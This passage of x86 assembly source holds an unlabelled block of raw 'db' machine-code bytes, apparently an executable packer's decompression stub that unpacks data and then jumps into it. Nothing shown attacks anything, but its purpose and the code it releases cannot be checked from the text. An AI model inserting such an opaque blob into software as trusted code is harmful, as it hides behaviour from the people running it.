0E6h, 0E2h, 0F2h db 02Ah, 0FEh, 0B6h, 002h, 0B1h, 004h, 0FEh, 0C6h db 0E8h, 0CDh, 0FFh, 072h, 010h, 0E2h, 0F7h, 0E8h db 0C6h, 0FFh, 073h, 00Dh, 0FEh, 0C6h, 0E8h, 0BFh db 0FFh, 073h, 002h, 0FEh, 0C6h, 08Ah, 0CEh, 0EBh db 02Ah, 0E8h, 0B4h, 0FFh, 072h, 010h, 0B1h, 003h db 0B6h, 000h, 0E8h, 0ABh, 0FFh, 0D0h, 0D6h, 0E2h db 0F9h, 080h, 0C6h, 009h, 0EBh, 0E7h, 0ACh, 08Ah db 0C8h, 083h, 0C1h, 011h, 0EBh, 00Dh, 0B1h, 003h db 0E8h, 095h, 0FFh, 0D0h, 0D7h, 0E2h, 0F9h, 0FEh db 0CFh, 0B1h, 002h, 026h, 08Ah, 001h, 0AAh, 0E2h db 0FAh, 0E8h, 084h, 0FFh, 073h, 003h, 0A4h, 0EBh db 0F8h, 0E8h, 07Ch, 0FFh, 0ACh, 0B7h, 0FFh, 08Ah db 0D8h, 072h, 081h, 0E8h, 072h, 0FFh, 072h, 0D6h db 03Ah, 0FBh, 075h, 0DDh, 033h, 0EDh, 033h, 0FFh db 033h, 0F6h, 033h, 0D2h, 033h, 0DBh, 033h, 0C0h db 0E9h, 07Dh, 0EBh last: _TEXT ends end first